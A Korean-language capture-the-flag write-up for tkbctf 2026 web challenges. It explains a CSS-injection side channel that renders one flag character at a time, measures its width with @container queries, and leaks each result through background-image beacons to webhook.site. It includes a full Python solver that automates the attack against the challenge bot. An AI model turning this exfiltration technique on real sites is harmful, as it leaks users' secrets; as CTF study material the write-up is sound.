Tkbctf 2026

Mar 15, 2026

다른 문제들은 codex oneshot으로 풀렸다…

Capture The F__l__a__g & Capture The F__l__a__g Revenge

import express from "express";
import cookieParser from "cookie-parser";

const template = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <style>
      :root {
        --flag: "";
      }
      /* Your CSS here! */
      
    </style>
  </head>
  <body>
    <h1>Capture The 🚩!</h1>
  </body>
</html>
`.trim();

express()
  .use(cookieParser())
  .get("/", (req, res) => {
    let { css = "", sep = "" } = req.query;
    const FLAG = req.cookies.FLAG ?? "tkbctf{dummy}";

    if (sep.length > 2) sep = "";

    const html = template
      .replace("", () => FLAG.split("").join(sep))
      .replace("", () => css.replace(/[<>]/g, ""));

    res.setHeader(
      "Content-Security-Policy",
      "default-src 'none'; style-src 'unsafe-inline'; font-src 'none'; img-src *",
    );
    res.send(html);
  })
  .listen(3000);

css안에 있는 flag를 bot을 통해 leak하는 문제이다.

문제 해결 아이디어는 다음과 같다.

  1. sep='""'를 사용해서 플래그를 문자 단위의 문자열 목록처럼 만든다.
  2. quotes: var(--flag)를 이용해 각 문자를 quote string으로 해석시킨다.
  3. no-open-quoteopen-quoteclose-quote를 조합해서 원하는 index의 문자 하나만 렌더링한다.
  4. 그 문자의 폭을 @container 를 사용해서 후보 집합을 구한다.
  5. 같은 문자를 regular와 oblique 에서 각각 계산하고, 두 후보 집합에 들어있는 값을 구한다.

sep 사용

--flag: "";

예를 들어 플래그가 tkb라고 하면, sep='""'일 때 FLAG.split("").join(sep)의 결과는 아래처럼 들어간다.

--flag: "t""k""b";

CSS 입장에서는 이것이 문자열 토큰들의 나열처럼 동작한다. 이 값을 quotes 속성에 넣으면 문자 하나하나를 quote string으로 사용할 수 있당.

quotes 속성은 문자열이 짝수 개여야 하므로 전체 플래그 길이의 홀짝이 중요…

  • 전체 길이가 짝수면 quotes: var(--flag)
  • 전체 길이가 홀수면 quotes: var(--flag) ""

문자 하나만 렌더링

open-quoteclose-quoteno-open-quote는 quote depth를 조절하면서 특정 위치의 문자열을 출력함

이를 이용해서 i(인덱스)가 짝수이면: no-open-quote를 i/2번 쓴 뒤 open-quote , i가 홀수이면: no-open-quote를 (i+1)/2번 쓴 뒤 close-quote 를 해서 특정 문자 하나만 랜더링할 수 있었다.

문자 유추

400px 크기의 FreeSans 에서 문자들의 폭은 서로 다르당.

body {
  width: fit-content;
}

body:before {
  display: block;
  width: max-content;
}

h1 {
  width: 100%;
  container-type: inline-size;
}

body의 너비를 fit-content 로 두고 body:before가 실제 문자 하나의 폭을 결정하는데 h1의 폭을 100%로 두면 h1의 inline-size가 결국 문자 폭과 같아진다. 이러한 폭을 아래의 문법 형태로 분류할 수 있다.

@container (min-width: 105px) and (max-width: 117.5px) {
  h1:after {
    background: url(https://~~~~);
  }
}

교집합

한 폰트 스타일에서 폭이 같은 글자가 많이 존재해 같은 글자를 2개의 스타일로 측정해서 교집합을 계산한다.

안정성을 위새 폰트 패밀리는 같고, 렌더링 스타일만 다른 FreeSans regular, FreeSans oblique를 사용

solve code

#!/usr/bin/env python3
import argparse
import string
import time
import urllib.parse
from collections import defaultdict
from dataclasses import dataclass
from typing import Dict, Iterable, List, Sequence, Tuple

import requests

REPORT_BASE_DEFAULT = "http://35.194.108.145:61575"
KNOWN_PREFIX = "tkbctf{"
TAG_ALPHABET = string.digits + string.ascii_lowercase + string.ascii_uppercase

Group = Tuple[float, float, str]

@dataclass(frozen=True)
class Probe:
    family: str
    extra_css: str
    widths: Dict[str, float]

PROBES: Dict[str, Probe] = {
    "r": Probe(
        family="FreeSans",
        extra_css=(
            'font-weight:400;'
            'font-style:normal;'
            'font-kerning:none;'
            'font-feature-settings:"kern" 0;'
            'font-variant-ligatures:none;'
            'font-variant-numeric:proportional-nums;'
            'font-synthesis:none;'
        ),
        widths={
            'A':266.40625, 'B':265.609375, 'C':283.609375, 'D':279.203125,
            'E':253.203125, 'F':239.609375, 'G':306.0, 'H':288.40625,
            'I':111.203125, 'J':211.203125, 'K':269.609375, 'L':225.203125,
            'M':338.40625, 'N':292.0, 'O':313.609375, 'P':262.40625,
            'Q':313.609375, 'R':283.609375, 'S':266.8125, 'T':252.8125,
            'U':288.0, 'V':258.0, 'W':374.8125, 'X':262.8125,
            'Y':271.203125, 'Z':246.0,
            'a':217.203125, 'b':223.609375, 'c':202.40625, 'd':223.609375,
            'e':213.203125, 'f':112.0, 'g':220.0, 'h':214.40625,
            'i':88.8125, 'j':97.203125, 'k':205.609375, 'l':85.609375,
            'm':324.8125, 'n':214.8125, 'o':213.609375, 'p':223.609375,
            'q':223.609375, 'r':132.8125, 's':197.203125, 't':112.0,
            'u':214.8125, 'v':198.40625, 'w':288.8125, 'x':190.40625,
            'y':191.203125, 'z':194.40625,
            '0':217.609375, '1':143.609375, '2':222.8125, '3':221.609375,
            '4':220.8125, '5':223.203125, '6':220.0, '7':213.609375,
            '8':222.40625, '9':220.40625,
            '_':200.0, '{':133.203125, '}':133.203125,
        },
    ),
    "o": Probe(
        family="FreeSans",
        extra_css=(
            'font-weight:400;'
            'font-style:oblique;'
            'font-kerning:none;'
            'font-feature-settings:"kern" 0;'
            'font-variant-ligatures:none;'
            'font-variant-numeric:proportional-nums;'
            'font-synthesis:none;'
        ),
        widths={
            'A':266.8125, 'B':265.609375, 'C':284.0, 'D':280.8125,
            'E':262.8125, 'F':240.40625, 'G':311.203125, 'H':288.40625,
            'I':111.203125, 'J':202.8125, 'K':266.8125, 'L':222.40625,
            'M':338.40625, 'N':292.0, 'O':308.0, 'P':258.40625,
            'Q':310.40625, 'R':283.609375, 'S':260.40625, 'T':244.40625,
            'U':288.40625, 'V':258.0, 'W':374.8125, 'X':267.609375,
            'Y':271.203125, 'Z':244.40625,
            'a':221.609375, 'b':224.40625, 'c':206.0, 'd':223.203125,
            'e':218.8125, 'f':104.0, 'g':220.8125, 'h':216.0,
            'i':88.8125, 'j':96.8125, 'k':200.8125, 'l':88.8125,
            'm':326.40625, 'n':216.0, 'o':222.40625, 'p':225.203125,
            'q':222.40625, 'r':129.609375, 's':197.203125, 't':106.0,
            'u':215.203125, 'v':198.8125, 'w':289.203125, 'x':196.0,
            'y':191.609375, 'z':200.0,
            '0':217.609375, '1':143.609375, '2':222.8125, '3':221.609375,
            '4':220.8125, '5':223.203125, '6':220.0, '7':213.609375,
            '8':222.40625, '9':220.40625,
            '_':200.0, '{':133.609375, '}':133.609375,
        },
    ),
}

def grouped_widths(widths: Dict[str, float]) -> List[Tuple[float, List[str]]]:
    groups: Dict[float, List[str]] = defaultdict(list)
    for ch, width in widths.items():
        groups[width].append(ch)
    return sorted((width, sorted(chars)) for width, chars in groups.items())

def width_intervals(widths: Dict[str, float]) -> List[Tuple[float, float, List[str]]]:
    groups = grouped_widths(widths)
    out: List[Tuple[float, float, List[str]]] = []
    for i, (width, chars) in enumerate(groups):
        lo = 0.0 if i == 0 else (groups[i - 1][0] + width) / 2.0
        hi = 10000.0 if i == len(groups) - 1 else (width + groups[i + 1][0]) / 2.0
        out.append((lo, hi, chars))
    return out

def extractor_tokens(index: int) -> str:
    if index < 0:
        raise ValueError("index must be non-negative")
    if index % 2 == 0:
        tokens = ["no-open-quote"] * (index // 2) + ["open-quote"]
    else:
        tokens = ["no-open-quote"] * ((index + 1) // 2) + ["close-quote"]
    return " ".join(tokens)

def grouped_intervals(probe_key: str) -> List[Group]:
    return [
        (lo, hi, "".join(chars))
        for lo, hi, chars in width_intervals(PROBES[probe_key].widths)
    ]

def chunked(items: Sequence[Group], size: int) -> List[List[Group]]:
    return [list(items[i : i + size]) for i in range(0, len(items), size)]

def short_tag(counter: int, slot: int) -> str:
    if slot >= len(TAG_ALPHABET):
        raise ValueError("slot out of range")
    return f"{counter:x}{TAG_ALPHABET[slot]}"

def format_px(value: float) -> str:
    text = f"{value:.2f}".rstrip("0").rstrip(".")
    return text or "0"

def build_css(
    index: int,
    probe_key: str,
    groups: Sequence[Group],
    token: str,
    counter: int,
    parity: str,
    pad_px: float = 0.0,
) -> Tuple[str, Dict[str, str]]:
    probe = PROBES[probe_key]
    tokens = extractor_tokens(index)
    quotes_decl = "body{width:fit-content;quotes:var(--flag)}"
    if parity == "odd":
        quotes_decl = 'body{width:fit-content;quotes:var(--flag) ""}'
    css = [
        "html,body{margin:0;padding:0}",
        quotes_decl,
        (
            "body:before{"
            f"content:{tokens};display:block;width:max-content;"
            f"font:400 400px/1 {probe.family};"
            f"{probe.extra_css}"
            "}"
        ),
        "h1{margin:0;width:100%;height:0;overflow:hidden;font-size:0;line-height:0;container-type:inline-size}",
    ]

    tag_to_group: Dict[str, str] = {}
    for slot, (lo, hi, group) in enumerate(groups):
        tag = short_tag(counter, slot)
        tag_to_group[tag] = group
        beacon = f"https://webhook.site/{token}/{tag}"
        lo = max(0.0, lo - pad_px)
        hi = hi + pad_px
        css.append(
            "@container "
            f"(min-width:{format_px(lo)}px) and (max-width:{format_px(hi)}px)"
            "{h1:after{content:\"\";display:block;width:1px;height:1px;"
            f"background:url({beacon})"
            "}}"
        )
    return "".join(css), tag_to_group

def build_target_url(
    index: int,
    probe_key: str,
    groups: Sequence[Group],
    token: str,
    counter: int,
    parity: str,
    pad_px: float = 0.0,
) -> Tuple[str, Dict[str, str]]:
    css, tag_to_group = build_css(
        index=index,
        probe_key=probe_key,
        groups=groups,
        token=token,
        counter=counter,
        parity=parity,
        pad_px=pad_px,
    )
    params = {
        "sep": '""',
        "css": css,
    }
    return "http://web:3000/?" + urllib.parse.urlencode(params), tag_to_group

class Solver:
    def __init__(
        self,
        report_base: str,
        parity: str | None = None,
        min_interval_sec: float = 35.0,
        poll_timeout_sec: float = 35.0,
    ):
        self.report_base = report_base.rstrip("/")
        self.min_interval_sec = min_interval_sec
        self.poll_timeout_sec = poll_timeout_sec
        self.next_send_time = 0.0
        self.session = requests.Session()
        self.token = self._create_webhook_token()
        self.seen_request_ids: set[str] = set()
        self.tag_counter = 0
        self.regular_groups = grouped_intervals("r")
        self.oblique_groups = grouped_intervals("o")
        self.regular_bins = chunked(self.regular_groups, 7)
        self.oblique_bins = chunked(self.oblique_groups, 7)
        self.parity = parity

    def _create_webhook_token(self) -> str:
        url = "https://webhook.site/token"
        headers = {
            "Accept": "application/json",
            "Content-Type": "application/json",
        }
        for attempt in range(1, 6):
            try:
                r = self.session.post(url, headers=headers, timeout=20)
                if r.status_code == 201:
                    token = r.json()["uuid"]
                    print(f"[+] webhook token: {token}", flush=True)
                    return token
                print(f"[!] token create failed status={r.status_code} body={r.text[:200]!r}", flush=True)
            except Exception as exc:
                print(f"[!] token create error attempt={attempt}: {type(exc).__name__}: {exc}", flush=True)
            time.sleep(min(10, attempt * 2))
        raise RuntimeError("failed to create webhook.site token")

    def _wait_rate_limit_slot(self) -> None:
        now = time.time()
        if now < self.next_send_time:
            time.sleep(self.next_send_time - now)

    def _post_report(self, target_url: str) -> None:
        self._wait_rate_limit_slot()
        url = f"{self.report_base}/api/report"
        payload = {"url": target_url}

        while True:
            try:
                r = self.session.post(url, json=payload, timeout=20)
            except Exception as exc:
                print(f"[!] report post error: {type(exc).__name__}: {exc}; retrying in 5s", flush=True)
                time.sleep(5)
                continue

            if r.status_code == 200:
                self.next_send_time = time.time() + self.min_interval_sec
                return

            if r.status_code == 429:
                retry_after = r.headers.get("retry-after")
                wait_s = 65.0
                if retry_after:
                    try:
                        wait_s = max(wait_s, float(retry_after))
                    except ValueError:
                        pass
                print(f"[!] rate-limited by bot (429). waiting {wait_s:.0f}s", flush=True)
                time.sleep(wait_s)
                continue

            print(f"[!] report status={r.status_code} body={r.text[:200]!r}; retrying in 10s", flush=True)
            time.sleep(10)

    def _fetch_requests(self) -> List[Dict]:
        url = f"https://webhook.site/token/{self.token}/requests"
        params = {"sorting": "newest", "per_page": 100}
        headers = {"Accept": "application/json"}
        r = self.session.get(url, params=params, headers=headers, timeout=20)
        r.raise_for_status()
        return r.json().get("data", [])

    def _wait_for_tags(self, valid_tags: Iterable[str], settle_sec: float = 2.5) -> List[str]:
        valid = set(valid_tags)
        end = time.time() + self.poll_timeout_sec
        hits: List[str] = []
        first_hit_at: float | None = None
        while time.time() < end:
            try:
                data = self._fetch_requests()
            except Exception as exc:
                print(f"[!] poll error: {type(exc).__name__}: {exc}", flush=True)
                time.sleep(2)
                continue

            found_new = False
            for req in data:
                req_id = req.get("uuid")
                if req_id in self.seen_request_ids:
                    continue
                self.seen_request_ids.add(req_id)
                url = req.get("url") or ""
                tag = url.rsplit("/", 1)[-1]
                if tag in valid:
                    hits.append(tag)
                    found_new = True
                    if first_hit_at is None:
                        first_hit_at = time.time()
            if hits and first_hit_at is not None:
                if (time.time() - first_hit_at) >= settle_sec and not found_new:
                    return hits
            time.sleep(1.5)
        if hits:
            return hits
        raise RuntimeError(f"no beacon for tags={sorted(valid)!r}")

    def _probe_groups(self, index: int, probe_key: str, groups: Sequence[Group], label: str, pad_px: float = 0.0) -> str:
        counter = self.tag_counter
        self.tag_counter += 1
        target, tag_to_group = build_target_url(
            index=index,
            probe_key=probe_key,
            groups=groups,
            token=self.token,
            counter=counter,
            parity=self.parity or "even",
            pad_px=pad_px,
        )
        print(
            f"[*] probe index={index} p={probe_key} parity={self.parity} stage={label} groups={len(groups)} pad={pad_px} url_len={len(target)}",
            flush=True,
        )
        self._post_report(target)
        tags = self._wait_for_tags(tag_to_group)
        uniq_tags = list(dict.fromkeys(tags))
        chars = sorted({ch for tag in uniq_tags for ch in tag_to_group[tag]})
        group = "".join(chars)
        print(f"    -> tags={uniq_tags} group={group!r}", flush=True)
        return group

    def _probe_probe(self, index: int, probe_key: str) -> str:
        bins = self.regular_bins if probe_key == "r" else self.oblique_bins
        primary: List[Group] = []
        for idx, bucket in enumerate(bins):
            primary.append((bucket[0][0], bucket[-1][1], str(idx)))
        selected_bin = int(self._probe_groups(index=index, probe_key=probe_key, groups=primary, label="coarse"))
        try:
            return self._probe_groups(index=index, probe_key=probe_key, groups=bins[selected_bin], label=f"fine{selected_bin}")
        except RuntimeError:
            return self._probe_groups(
                index=index,
                probe_key=probe_key,
                groups=bins[selected_bin],
                label=f"fine{selected_bin}p",
                pad_px=3.0,
            )

    def detect_parity(self) -> str:
        expected = {0: "t", 1: "k", 2: "b"}
        saved_parity = self.parity
        for parity in ("even", "odd"):
            self.parity = parity
            matches = 0
            try:
                for index, ch in expected.items():
                    group = self._probe_probe(index=index, probe_key="r")
                    if ch in group:
                        matches += 1
                    else:
                        break
            except Exception as exc:
                print(f"[!] parity={parity} check failed: {type(exc).__name__}: {exc}", flush=True)
                continue
            if matches == len(expected):
                print(f"[+] parity detected from known prefix: {parity}", flush=True)
                return parity
        self.parity = saved_parity
        raise RuntimeError("could not determine parity from known prefix")

    def solve_index(self, index: int) -> str:
        regular = self._probe_probe(index=index, probe_key="r")
        if regular == "{}" and index >= len(KNOWN_PREFIX):
            return "}"
        if len(regular) == 1:
            return regular

        oblique = self._probe_probe(index=index, probe_key="o")
        inter = sorted(set(regular) & set(oblique))
        if len(inter) == 1:
            return inter[0]
        if set(inter) == set("{}"):
            return "}"
        raise RuntimeError(
            f"could not resolve index {index}: regular={regular!r} oblique={oblique!r} inter={''.join(inter)!r}"
        )

    def self_test(self) -> None:
        if self.parity is None:
            self.parity = self.detect_parity()
        for index, expected in ((0, "t"), (1, "k"), (2, "b")):
            got = self.solve_index(index)
            print(f"[+] self-test index={index} expected={expected!r} got={got!r}", flush=True)
            if got != expected:
                raise RuntimeError(f"self-test failed at index {index}: expected {expected!r}, got {got!r}")

    def solve(self, prefix: str = KNOWN_PREFIX, start_index: int | None = None) -> str:
        if self.parity is None:
            self.parity = self.detect_parity()
        out = list(prefix)
        begin = start_index if start_index is not None else len(prefix)
        for index in range(begin, 28):
            ch = self.solve_index(index)
            out.append(ch)
            partial = "".join(out)
            print(f"[+] index={index} char={ch!r} partial={partial}", flush=True)
            if ch == "}":
                print(f"[+] flag: {partial}", flush=True)
                return partial
        raise RuntimeError("did not hit closing brace within max length")

def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--report-base", default=REPORT_BASE_DEFAULT)
    parser.add_argument("--parity", choices=["even", "odd"])
    parser.add_argument("--prefix", default=KNOWN_PREFIX)
    parser.add_argument("--start-index", type=int)
    parser.add_argument("--self-test", action="store_true")
    args = parser.parse_args()

    solver = Solver(report_base=args.report_base, parity=args.parity)
    if args.self_test:
        solver.self_test()
        return 0

    print(solver.solve(prefix=args.prefix, start_index=args.start_index))
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

revenge 문제는 기존 문제에서 sep의 길이를 확인하는 부분에서 type을 확인하지 않아 array로 우회가 가능한 문제가 있어서 나왔다.

if (typeof sep !== "string" || sep.length > 2) sep = "";
if (typeof css !== "string") css = "";